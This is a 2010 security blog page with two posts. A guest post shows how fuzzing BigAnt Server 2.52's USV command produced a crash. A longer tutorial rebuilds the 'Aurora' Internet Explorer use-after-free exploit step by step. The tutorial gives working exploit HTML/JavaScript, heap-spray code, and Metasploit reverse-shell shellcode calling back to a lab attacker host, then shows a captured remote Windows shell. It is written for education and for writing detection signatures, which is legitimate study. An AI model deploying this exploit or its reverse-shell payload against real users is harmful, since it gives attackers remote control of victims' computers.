Thursday, January 28, 2010

Introduction to Vulnerability Discovery: Guest Post

When I wrote my second buffer overflow tutorial I mentioned that I was discussing with Lincoln the possibility of him writing a complementary blog post on how the vulnerability in BigAnt Server 2.52 was discovered.  Well here is the post in its entirety, written by the man himself and posted as a guest entry on my blog:

Finding 0day for BigAnt

The process of finding a buffer overflow is sometimes tedious, sometimes exciting, and often involves a fair amount of luck. The best way to increase your chances of finding that "needle in a haystack", is to understand how your target application works. What processes does it run on? What inputs does it allow? These are the type of questions you want to ask yourself, to not only increase your chances of finding a buffer overflow, but to greatly reduce your time during your vulnerability discovery. Looking for software vulnerabilities can be done many ways like: fuzzing, source code analysis, and binary analysis just to name a few. This article will focus on the fuzzing technique used to discover the vulnerability triggered in BigAnt software that will lead us to a buffer overflow.

What is Fuzzing?

Wikipedia defines fuzzing as a software testing technique that provides invalid, unexpected, or random data to the inputs of a program. If the program fails (for example, by crashing or failing built-in code assertions), the defects can be noted.

Before we begin to fuzz our target BigAnt Server for vulnerabilities, we need to understand how the program works. Understanding how the target works allows us to focus on what we believe, as the tester, will yield higher results than just blindly throwing random data. The first thing we want to do is identify what network port the Server/Client uses to communicate. A quick inspection would tell us that the server uses port 6660 to listen for an incoming TCP connection from our client. How do we know what port the client connects to the sever? Where did you get port 6660?

This can be done a few ways. The simplest would be to notice when we install the server, the QuickStart Guide asks us to put in our "Company Name:" and also select the "Port:" to use for our server (which defaults to 6660).



If you're like me and you just click next a bunch of times quickly when installing software, you might of missed that detail! The other way would be to look at the server options in the general settings tab, or to go to the advanced settings tab and click on the service manager button. Generally speaking (not always), network software will allow the user to specify what port the application works on, in case the user already has existing software running on that port. This will be in the initial setup, or somewhere in the program that allows us to configure that option.

The other way of finding out what port the client connects to the server would be to simply capture a TCP dump.

To do this we will need to set up two test machines or setup one machine (for both the client and software). If you use one test machine, you will have to setup the loopback interface to in your sniffer to capture data. The option to use one or two systems to setup the capture is up to the user and their resources. If you are not familiar with capturing data, or using a sniffer, the two system setup might be easier for you. The rest of the demonstration is based on using two machines.

We will begin by setting up our server on one machine, and adding a user to the database. For the demonstration, a user named test and the password set as test was created. This will allow us to login from our client machine to the server and monitor the authentication and connection stage.



After our user is created on the server, we will go ahead and install the client application on our other machine.



Before connecting to the server, we will want to monitor the packets being sent back and forth. This will provide us with intelligent fuzz variables to put in our fuzzer. To do this, we can use Wireshark on either the client or server to capture the packets and analyze the traffic. Wireshark comes pre-installed if you are using BackTrack, simply type in Wireshark at the console. Please note if you opt to use Wireshark in BackTrack to capture traffic between the server and client, the network interface in BackTrack must be on the same subnet.



Once the client connects to the server, we can view the TCP dump in Wireshark by selecting a packet with a destination to our server/port and clicking the analyze drop down menu and then selecting 'Follow TCP Stream'. This will allow us to examine the packets in detail exchanged during the authentication stage.

We can see that there appears to be four steps that the client uses to authenticate with the server.

1. First the client sends over "USR L ATEN" followed by the login and password. The server replies back with an OK and assigns the client an ID tag that is used with the next stage in authentication.
2. Next the client sends another packet with "USV" followed by the login, and then the ID tag assigned by the server in the previous packet. The server acknowledges with a reply.
3. The client then sends over a "LSV" packet with additional variables. The server acknowledges.
4. Lastly the client sends over "NEG 4 2 My%20contacts" which is the contacts in the client application, and the server acknowledges.

There's one thing to point out before we go any further. Only the headers of each packet, (ex: USR, USV, LSV, NEG) were used for fuzz testing for this demonstration. It would be equally as important to fuzz the other fields in the packets (such as: aenflag, clientver:, cmdid, etc). Those fields might yield results as well, and should not be dismissed.

Using the above fields, we are going to create a fuzzer that will send over our modified packets with those headers, appended by long strings of data. To do this we first need to build our fuzzer.

Simple Fuzzer by Aaron Conole is a very easy and robust fuzzer that will allow us to fuzz our application. The application can be downloaded from that site and installed on our attacking machine. There is also a video on Security Tube by Vivek Ramachandran demonstrating how this fuzzer works, as well as a couple examples.



We will go ahead and input our 4 fuzz variables into our fuzzer configuration file named ant.cfg.

The configuration file will send a long sequence of A characters to our server. The next two commands determine the sequence step and max sequence length. The configuration file specifies to send over our A character in 900 byte steps until it reaches a total of 4500. The fuzzed data being sent over will look like:


Start with top command

"command " + "A" * 900
"command " + "A" * 1800
"command " + "A" * 2700
"command " + "A" * 3600
"command " + "A" * 4500

Stop
Repeat next command until program finishes or the application no longer responds



For this demonstration, the picture above only shows the USV string being fuzzed, since that is the command that leads to our buffer overflow. If you skipped watching the video on Security Tube about Simple Fuzzer, and are wondering how to start the application, the command line syntax is:


./sfuzz -TO -f sfuzz-sample/ant.cfg -S 10.0.0.27 -p 6660




Monitoring the crash can be done several ways. The easiest is to see the last packet the server accepted with Wireshark. Since our goal is to send malformed packets to our server and crash the application, the port will then close when it reaches our specially crafted USV packet of more than 1000 "A" characters. It's a good idea to re-test this a few times to confirm that indeed our USV packet causes the crash, and then the next step would be to attach a debugger.



To reaffirm that the USV packet crashes the application, we can attach a debugger like Ollydbg and rerun our fuzzer to confirm that we have indeed found a crash that could potentially lead to a buffer overflow exploit. Now to continue onto Lupin's SEH Stack Based Windows Buffer Overflow for a very in-depth and detailed look on creating a buffer overflow exploit with this server.

One last thing I would like to comment is that while everything looked very cut and dry, fuzzing can take a lot of time, and often doesn't yield the results above. Not all programs are exploitable, and contain improper bounds checks such as the USV field in BigAnt Server. This issue has been corrected, and a vendor patch can be applied to prevent this attack.


References:
http://en.wikipedia.org/wiki/Fuzzing
http://wiki.wireshark.org/CaptureSetup/Loopback
http://www.wireshark.org/
http://www.backtrack-linux.org/
http://aconole.brad-x.com/programs/sfuzz.html
http://securitytube.net/Sfuzz-Fuzzer-Demo-video.aspx
http://www.ollydbg.de/
http://grey-corner.blogspot.com/2010/01/seh-stack-based-windows-buffer-overflow.html

Sunday, January 24, 2010

Heap Spray Exploit Tutorial: Internet Explorer Use After Free Aurora Vulnerability

Introduction

This is the fourth entry in my series of exploit tutorials.  Part one is here, part two is here, and part three is here.  The tutorials are written to be done in order, so ensure you have the required knowledge from parts one through three before you attempt number four.

In this entry, we will be reproducing the "aurora" Internet Explorer exploit using heap spraying.  This exploit takes advantage of a use after free vulnerability that is present in multiple versions of Internet Explorer on multiple versions of Windows.  Unlike those discussed in my previous tutorials, this vulnerability does not involve a buffer overflow, and instead makes use of heap corruption that occurs when an object's memory space on the heap is accessed after being first freed and then overwritten.  Despite the fact that this exploit is not a traditional buffer overflow, the techniques used are similar enough for me to include this tutorial in this series.

This vulnerability was originally discovered in the wild, and was used as part of the well publicised attack on Google that was (allegedly) performed by the Chinese.  A patch is now available from Microsoft for this vulnerability and you can see their advisory on the issue here.

This is also the first time I have demonstrated a client side exploit in one of my tutorials - all previous tutorials have involved attacks on servers.  While server exploits used to be all the rage, over the last 6 years or so client side attacks have become more and more prevalent as server based protection has gotten better and better.  The benefit of the client side exploit is that it allows the attacker to focus their efforts on a system which is usually less well protected than a server and which (in an Enterprise environment) usually has full unrestricted access to other internal systems, including servers.

Triggering the client side exploit usually involves the attacker enticing the user of the victim client system into visiting a malicious web site or opening a malicious document.  This can be achieved by including a link or an attachment in an email, or hacking legitimate sites and adding code to redirect traffic to the malicious web page.  When used in the wild, the client side exploit will usually contain a payload which is configured to download a piece of malware from the Internet and run it on the client system.

In this tutorial I will be hosting the malicious files on a web server running on my attacking system and I will access my malicious web site from my victim system.

My particular version of the exploit that I reproduce below is based on the original exploit from the wild as well as the code produced by the Metasploit module.

Note: For a number of reasons, the exploit for this vulnerability can be a little unreliable, both in terms of reproducing the crash and taking control of the crash using heap spraying.  This is due to the difficulty of structuring the heap correctly so that the conditions for the exploit to work are in place.  So if things don't work the first time, repeat what you have done once or twice more before double checking to see if you have made a mistake in your code.  My experience with this exploit is that it does work more often than it doesn't, but it definitely does not work all of the time.

Warning! Please note that this tutorial is intended for educational purposes only, and you should NOT use the skills you gain here to attack any system for which you don't have permission to access. It's illegal in most jurisdictions to access a computer system without authorisation, and if you do it and get caught (which is likely) you deserve whatever you have coming to you. Don't say you haven't been warned.

EDIT: For those who like videos with their tutorials, Lincoln produced a video based on this blog post which you can find here.

Required Knowledge

To follow this tutorial you will need to have basic knowledge of:
  • TCP/IP networking,
  • management of the Windows Operating System (including installing software, running and restarting services, connecting to remote desktop sessions, etc), and
  • HTML and JavaScript.

You need to have good enough knowledge of the attacking system you use (whether it be BackTrack, another type of Linux, Windows or anything else) to be able to run programs and scripts as well as transfer files.

Knowledge of basic debugger usage with OllyDbg, including the ability to start and attach to programs, insert breakpoints, step through code, etc, is expected. This is covered in my first tutorial.

While you should be able to get by with only basic knowledge of how to read HTML and Javascript, some programming experience in these languages would be a bonus.


System Setup

In order to reproduce this exploit for the tutorial, I used a victim system running Windows XP SP2, and a attacking system running BackTrack 4 Final.

You don't need to reproduce my setup exactly, but I would suggest sticking to Windows XP SP2 or earlier for the victim system, especially for this particular exploit. The attacking system can be anything you feel comfortable in, as long as it can run the software I have specified below, and as long as you are able to translate the Linux commands I will be listing below into something appropriate for your chosen system.

If required, you can get a XP SP2 Virtual Machine to use as your victim by following the instructions in the Metasploit Unleashed course, starting in the section "02 Required Materials" - "Windows XP SP2" up to the section entitled "XP SP2 Post Install".

Your victim system must also use a X86 based processor.

In this tutorial my attacking and victim systems use the following IP Addresses. You will need to substitute the addresses of your own systems where ever these addresses appear in the code or commands listed below.
  • Attacker system: 192.168.20.11
  • Victim system: 192.168.10.27


The two systems are networked together and I have interactive GUI access to the desktop of the victim system via a remote desktop session. You will need to be able to easily and quickly switch between controlling your attacking system and the victim system when following this tutorial, so make sure you have things set up appropriately before you proceed.



Required Software on Attacking and Victim Systems

Your attacker and victim systems will need the following software installed in order to follow this tutorial. By using BackTrack 4 Final for your attacking system you will take care of all of the attacking system prerequisitites.

The attacking system requires the following software:
  • Metasploit 3.x
  • Text Editor
  • Netcat

The victim system requires the following software:
  • Internet Explorer 6.  I am using the default unpatched version that is provided in XP SP2.
  • OllyDbg 1.10

Ensure that all required software is installed and operational before you proceed with this tutorial.


Triggering the Exploitable Crash

As mentioned in the Introduction, this exploit takes advantage of a user after free vulnerability in Internet Explorer.  The code required to actually cause the exploitable crash is a little more complicated than that included in some of the previous tutorials I have written, so I have provided below a summary description of what the code does, and have also listed a number of comments in the code below. 

Heres the code:

 <html>
<script>

// Create ~ 200 comments using the randomly selected three character string AAA, will change data later in an attempt to overwrite
var Array1 = new Array();
for (i = 0; i < 200; i++)
{
  Array1[i] = document.createElement("COMMENT");
  Array1[i].data = "AAA";
}

var Element1 = null;

// Function is called by the onload event of the IMG tag below
// Creates and deletes object, calls the function to overwrite memory
function FRemove(Value1)

  Element1 = document.createEventObject(Value1); // Create the object of the IMG tag
  document.getElementById("SpanID").innerHTML = ""; // Set parent object to null to trigger heap free()
  window.setInterval(FOverwrite, 50); // Call the overwrite function every 50 ms
}

// Function attempts to overwrite heap memory of deleted object and then access object to trigger crash
function FOverwrite()
{
  buffer = "\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA";
  for (i = 0; i < Array1.length; i++)
  {
    Array1[i].data = buffer; // Set comment data to buffer, try to overwrite heap memory of deleted object
  }
  var a = Element1.srcElement; // Access the pointer to the deleted object, trigger crash
}

</script>

<body>
<span id="SpanID"><IMG src="/abcd.gif" onload="FRemove(event)" /></span></body></html>
</body>
</html>


And here is an explanation of what the code does.

The HTML document above contains some basic HTML code, as well as a JavaScript script, with some main code and a couple of functions. 

When the document is loaded in a browser the script will run first and will create a number of COMMENT elements in the document, all set to the value "AAA" (this can set set to another random three character string if you wish).  These values are all stored on the heap.  The rest of the script contains functions which will be run individually a bit later on during the loading of this page in the browser.

The HTML code at the bottom of the document is parsed next, and a HTML span object that includes a child IMG tag is created.  The IMG tag retrieves an image from the web server (/abcd.gif in this case) and when it loads in the browser the FRemove function is called, with a reference to the IMG tag passed as a parameter.

The FRemove function creates the Element1 object using the IMG tag as a parameter, deletes the parent SpanID object, and calls the FOverwrite function, which it will rerun every 50ms.  This is the "free" part of the use after free vulnerability, we have freed the heap memory owned by the Element1 object when we set the SpanID object to a null value.

The FOverwrite function then changes the data of the COMMENT elements created earlier, in an attempt to overwrite the heap memory location associated with the Element1 object.  After all of the 200 COMMENT values are changed, we try to access the Element1 object by assigning a property of the object to the "a" variable, and if the heap memory of this object has been correctly overwritten, we should now get an exception.  This is the "use" part of the use after free vulnerability.

To run this on my victim system, I am writing the code above into a HTML file aurora.html, copying that file to my web server's root directory and starting my web server.  Don't forget that the image file abcd.gif must also exist in the /var/www/ web server directory for this exploit to work.

root@bt:~# cp aurora.html /var/www/
root@bt:~# /etc/init.d/apache2 start

I then open Internet Explorer, attach to it in my debugger and access the file from my attacking system at 192.168.20.11.



After a short wait we should have an exception triggered in our debugger.

The exception we should see is an access violation trying to read AAAAAAAA, which is the value that should be stored in the ECX register.  (If this doesn't happen for you take note of what I said about the unreliability of this exploit in the Introduction..)



Details about the exception

So what precisely is happening at the time of this exception?  If we look at the instructions being executed by the CPU at the time of the crash inside the mshtml module, we see the following:

7D4F2531   8B01             MOV EAX,DWORD PTR DS:[ECX]
7D4F2533   FF50 34          CALL DWORD PTR DS:[EAX+34]


The first instruction, MOV EAX,DWORD PTR DS:[ECX] is attempting to move a DWORD sized section of memory, located at the address pointed to by the ECX register, into the EAX register.  In other words, the system is taking the value of ECX, which is AAAAAAAA, and trying to read 4 bytes of memory from this memory address to copy to register EAX.  Since AAAAAAAA is not a valid address in memory, we get an access violation trying to read this address, and the program stops in the debugger.  If the register ECX did contain a valid memory address, such as 0013E174, then four bytes of data stored at this memory address would be used to set the value of EAX.

So if we set the value of ECX to a valid memory address, we could control the value of EAX, but what good does setting the value of EAX do exactly?  Well, if you look at the next instruction, it is attempting to CALL a function located at the memory location pointed to by the EAX register plus 0x34.  So if we can set EAX such that the value of EAX plus 0x34 points to a location of memory that we control, and this area contains some shellcode we have provided, then we have the ability to execute code of our choice.

This may seem like a lot to ask at first.  We need to:
  • Copy our shellcode into memory,
  • Know the starting address of the shellcode so we can copy it to memory somewhere.  This is the address that is accessed by the pointer to EAX + 0x34.
  • Know the address that the previous address is stored in memory, so we can subtract 0x34 from it and then store that in memory.  This is the address that ends up in EAX, accessed by a pointer from ECX.
  • Know the address that the previous address is stored in memory, so we can send it in our free-heap-entry-overwriting buffer to overwrite ECX.

That's three addresses in memory that we need to know, and while we might be able to find known locations in memory where the pointer addresses are already stored, similar to the way in which we found overwrite instructions in memory in the other tutorials, determining a reliable location in memory for our shellcode could be difficult.

This is where heap spraying comes in.


Heap Spraying

As the name suggests, heap spraying essentially involves "spraying" the heap with a large amount of data, including some tacked on shellcode.  The eventual aim of placing all of this data onto the heap is to create the right conditions in memory to allow the shellcode to be executed when an exploitable crash is triggered in a process. 

The technique of heap spraying has been around for a number of years and was initially only used in browser exploits.  Recently however, use of the technique has branched out into other areas, being used in PDF and Flash based exploits.

Heap spraying is usually chosen when other more straightforward and effective exploitation techniques cannot be used.  This is because the method can be unreliable, and the amount of data that is generated in the memory of the target application can cause a noticable slowdown, which is significiant because the technique is usually used in client applications which could be closed by a user if they believe the application has stopped responding.

Heap spraying is usable in any situation where the attacker can cause the victim process to allocate large blocks of data onto the heap.  It is typically achieved via the use of scripting languages integrated in the vulnerable program.  This allows the attacker to send code to the victim that generates the appropriate data on the heap, relieving the attacker of the burden of having to manually send the data to the client in another way.  Considering the amount of data that is required in heap spraying (easily into multiple megabytes), using victim-side code to generate the data is often the only practical way to achieve this goal.  Heap spraying code is usually writen in Javascript (where it can run in Internet Explorer, Firefox, Acrobat Reader, etc) but has also been seen in ActionScript (Flash) and VBScript (Internet Explorer).

The particular data that is used to spray the heap depends on the vulnerability being exploited.  For this exploit, we will be spraying the heap with the value \x0C0D, and we will also modify our buffer that fills the free section of heap memory to also use this value.  This will result in ECX being overwritten with 0C0D0C0D.  I will explain the signficance of this value in a moment, however lets first look at the heap spraying code we will use.

The heap spray code below is slightly modified from the Metasploit code for this vulnerability.  It essentially creates strings of around 870400 bytes in length, comprised of the characters "0c0d" with the shellcode we have provided appended to the end.  An array in memory is then filled with around 100 of these strings.  This generates around 83 MB of data on the heap.


function HeapSpray()
{
  Array2 = new Array();
  var Shellcode = unescape( '%ucccc%ucccc');
  var SprayValue = unescape('%u0c0d');
  do { SprayValue += SprayValue } while( SprayValue.length < 870400 );
  for (j = 0; j < 100; j++) Array2[j] = SprayValue + Shellcode;
}


I have included some shellcode of \xcc\xcc\xcc\xcc.  This is essentially just four breakpoint values so execution will pause in the debugger once the shellcode is hit.  This will allow us to see what is happening inside the browser process at the time of shellcode execution, so we can see what we have achieved by the heap spray.

I arrived at the values in my heap spray code (870400 and 100) via trial and error after seeking to find a balance between the reliability of the exploit and the amount of data generated on the heap.  Make the values too large and the page will take too long to load and you risk the user killing the browser process thinking it has stopped responding.  Make the values too small and you won't achieve the correct memory coverage on the heap and the exploit will fail.  Feel free to try increasing and decreasing these values to see how it impacts the reliability of the exploit.

When using a heap spray method, we also want to be sure that we include the heap spray code into our exploit before the code that triggers the use after free exception, so that the heap will be ready when the exception occurs.

Lets now add this to our exploit.  Make sure you include the call to HeapSpray in the FRemove() function.  See the example code below.


<html>
<script>

var Array1 = new Array();
for (i = 0; i < 200; i++)
{
  Array1[i] = document.createElement("COMMENT");
  Array1[i].data = "AAA";
}

var Element1 = null;

function HeapSpray()
{
  Array2 = new Array();
  var Shellcode = unescape( '%ucccc%ucccc');
  var SprayValue = unescape('%u0c0d');
  do { SprayValue += SprayValue } while( SprayValue.length < 870400 );
  for (j = 0; j < 100; j++) Array2[j] = SprayValue + Shellcode;
}

function FRemove(Value1)
{
  HeapSpray();
  Element1 = document.createEventObject(Value1);
  document.getElementById("SpanID").innerHTML = "";
  window.setInterval(FOverwrite, 50);
}

function FOverwrite()
{
  buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
  for (i = 0; i < Array1.length; i++)
  {
    Array1[i].data = buffer;
  }
  var t = Element1.srcElement;
}

</script>

<body>
<span id="SpanID"><IMG src="/abcd.gif" onload="FRemove(event)" /></span></body></html>
</body>
</html>




Now lets open this page into Internet Explorer with our debugger attached, and see what happens.

My debugger pauses execution at the second of the breakpoint characters I sent in my shellcode.


If this doesnt happen for you, try, try again!  If its still not happening after the third or fourth attempt, try increasing the array loop value upwards from 100.


The Heap Spray in Action

So we reached our shellcode and have control of code execution, but how did this work?

Well, lets go back and look at the two commands that were being executed in module mshtml at the time of our initial crash.
7D4F2531   8B01             MOV EAX,DWORD PTR DS:[ECX]
7D4F2533   FF50 34          CALL DWORD PTR DS:[EAX+34]

The first command MOV EAX,DWORD PTR DS:[ECX] sets EAX from a DWORD sized block of memory located at an address pointed to by the ECX register.

If we check our ECX register in the debugger, it is set to 0C0D0C0D.


This part should not come as too much of a surprise to you, we sent this value to the program via the buffer variable in the FOverflow function.


Now if we follow the ECX register into our memory dump (Right click on register, select Follow in Dump) and check the four byte value we see in this location, it should be 0C0D0C0D, and it should be sitting within a large section of memory with the same repeating value.  This particular value, 0C0D0C0D, should have been used to set our EAX register, which should have resulted in EAX having a value of 0D0C0D0C (because the little endian x86 processor changes the order of the bytes putting the least significant byte first).


If we now check the value of EAX in our debugger, we see it is set to 0D0C0DCD.



This is not the value we expected, so it seems as though something has happened to this value since it was set.  It is fairly close to what it should be though, and we did reach our shellcode, so let's assume for the moment that the value of EAX has been set from our heap sprayed data.  We will examine exactly what happened to the EAX register a little later.

The next command from mshtml from the period of the crash is CALL DWORD PTR DS:[EAX+34].  To examine what this will do, lets take the value that EAX should have been set to 0D0C0DCD, add 0x34 to give us 0D0C0D40 and then scroll to this location in the memory dump. 



The contents of memory at this offset is 0D0C0D0C.  The CALL instruction would have set EIP to 0C0D0C0D (little endian ordering again) and the data stored in memory at this location would have been interpreted as code and run in the CPU.  So our heap spray has also enabled us to take control of EIP and code execution.

Given that the starting address of EIP should have been 0C0D0C0D, how come our current value of EIP is 0C2C0026?



Obviously something has happened between this CALL command which should have redirected execution to 0C0D0C0D and us hitting the breakpoint at the start of our shellcode at 0C2C0026.  We can check what this is by selecting the four bytes of memory located at 0D0C0D40 in the memory dump, right clicking and selecting Follow DWORD in Dump.


This will take us to 0C0D0C0D in the memory dump, and we can then view the contents of memory as assembly instructions by right clicking and selecting Disassemble. (To get it back to the previous default view select Hex->Hex/ASCII(8 bytes)).



You can also view these instruction in the CPU pane, by right clicking in the CPU pane, selecting Go to->Expression and entering the address 0C0D0C0D followed by hitting OK.

You should now be seeing a large number of OR AL, 0D instructions.


This command performs a OR operation on the AL register (which is the lower byte of the AX register, which itself is the lower two bytes of the EAX register) using the value 0x0D.  Given a value for EAX of 0D0C0D0C, this will perform an OR operation on the lower byte (0C), which will have the effect of setting the value of the last byte of EAX to 0D, and the value of EAX to 0D0C0D0D.  Subsequent repetitions of this command will leave the value of EAX unchanged at 0D0C0D0D.  But why was EAX set to 0D0C0DCD when we hit the start of our shellcode?

Well if you view the start of our shellcode in the CPU pane (double click on the EIP register to jump there), and check above the first INT3 instruction you will see a single OR AL,0CC instruction, sitting below a long section of OR AL,0D commands. 


The hexadecimal representation of this assembly instruction is \x0C \xCC, so in this case the first of the CC breakpoint characters we set in our shellcode has actually been joined to one of the 0C characters from our heap spray pattern and interpreted as a command by the CPU.  This final command is what transformed the value of EAX to 0D0C0DCD.  This joining together of heap spray data and shellcode leading characters is behaviour we need to be aware of so we can work around it when we finally add our payload providing shellcode.

The important point to realise here is that the instruction OR AL, 0D essentially acts as a NOP like instruction, allowing us to use a large number of these instructions as a NOP sled.  We can land execution of the CPU anywhere within this NOP Sled, and it will happily cycle through each instruction, not doing anything that causes a crash or significantly changes the state of CPU execution, until we eventually land at our shellcode at the end of the sled.

The OR AL, 0D instruction resulted from 0C being used as the first byte in this instruction (the assembly interpretation of \x0C0D is OR AL, 0D).  This particular interpretation of the data from our heap spray occurred because the CALL DWORD PTR DS:[EAX+34] instruction from msthtml resulted in us landing on a 0C character first.  If we had happened to load on a 0D character first instead, we would have ended up with the assembly command OR EAX,0D0C0D0C.  As it turns out, this will work equally well as a NOP like instruction, because it only performs operations on the value of EAX.

So as it turns out, the value of 0C0D has a number of characteristics that make it perfect for this particular heap spray exploitation technique:
  • The addresses that can be made up of repeating 0C0D characters (0C0D0C0D and 0D0C0D0C) reside on the heap.  In addition, if we fill the memory around those addresses with these same characters, the machine code run at the time of the use-after-free error will eventually redirect CPU execution to this general area in memory.
  • The machine language instructions that are comprised of repeating 0C0D characters ("OR AL, 0D" and "OR EAX,0D0C0D0C") can act as NOP equivalent instructions to form a NOP sled.  This allows us to land within this general area on the heap and run through to our shellcode.

Our goal when we perform this heap spraying then, is to fill the area on the heap between the addresses of 0C0D0C0D and 0D0C0D40 (0D0C0D0C + 0x34) with repeating 0C0D bytes, so we can gain control of execution.  The difficulty of assuring that the heap memory gets allocated in this manner is part of what makes this exploitation method a little unreliable.


Adding Shellcode

Now that we know we can redirect execution to the location of our shellcode in memory, we can add some proper shellcode to our exploit.

Lets generate some reverse shell shellcode in Metasploit and output it in JavaScript format (J).

user@bt:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 J
// windows/shell_reverse_tcp - 314 bytes
// http://www.metasploit.com
// LHOST=192.168.20.11, LPORT=443, ReverseConnectRetries=5,
// EXITFUNC=process
%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f
%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10
%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49
%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275
%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b
%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854
%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050
%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u0b14%u0268%u0100%u89bb%u6ae6
%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659
%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656
%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0
%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300
%ud5ff

I am also going to throw 4 NOP characters onto the front of my shellcode.  This is to deal with the issue where the first character of the shellcode is subsumed into a machine code instruction with the last of the heap spray charaters (remember the OR AL, CC instruction?).  One NOP would really be enough, but using multiple NOPs here will also deal with any cases where the CALL instruction ends up landing on an 0D value, in which case the CPU will interpret the 0D0D bytes as OR EAX instructions. This would result in up to three of the characters from our shellcode being subsumed into an instruction with our heap spray characters (e.g. the data \x0D\x0C\x90\x90\x90 will result in the instruction OR EAX,9090900C).


Here is the finished code:


<html>
<script>

var Array1 = new Array();
for (i = 0; i < 200; i++)
{
  Array1[i] = document.createElement("COMMENT");
  Array1[i].data = "AAA";
}

var Element1 = null;

function HeapSpray()
{
  Array2 = new Array();
  // msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 J
  var Shellcode = unescape( '%u9090%u9090%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u0b14%u0268%u0100%u89bb%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff');
  var SprayValue = unescape('%u0c0d');
  do { SprayValue += SprayValue } while( SprayValue.length < 870400 );
  for (j = 0; j < 100; j++) Array2[j] = SprayValue + Shellcode;
}

function FRemove(Value1)
{
  HeapSpray();
  Element1 = document.createEventObject(Value1);
  document.getElementById("SpanID").innerHTML = "";
  window.setInterval(FOverwrite, 50);
}

function FOverwrite()
{
  buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
  for (i = 0; i < Array1.length; i++)
  {
    Array1[i].data = buffer;
  }
  var t = Element1.srcElement;
}

</script>

<body>
<span id="SpanID"><IMG src="/abcd.gif" onload="FRemove(event)" /></span></body></html>
</body>
</html>




Lets start a listener on our attacking system:

root@bt:~# nc -nvvlp 443
listening on [any] 443 ...

And open the exploit in our browser

root@bt:~# nc -nvvlp 443
listening on [any] 443 ...
connect to [192.168.20.11] from (UNKNOWN) [192.168.10.27] 1471
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\User\Desktop>

W00t!  We have shell.



A Note About Obfuscation

If you are reading tutorial as a guide in order to develop some sort of filter pattern or IDS/IPS signature for this particular exploit (and part of the reason I started writing this series was to educate people on how exploits worked so they could do this), at this point I should probably make you aware of how the code for this, and similar exploits can be obfuscated.

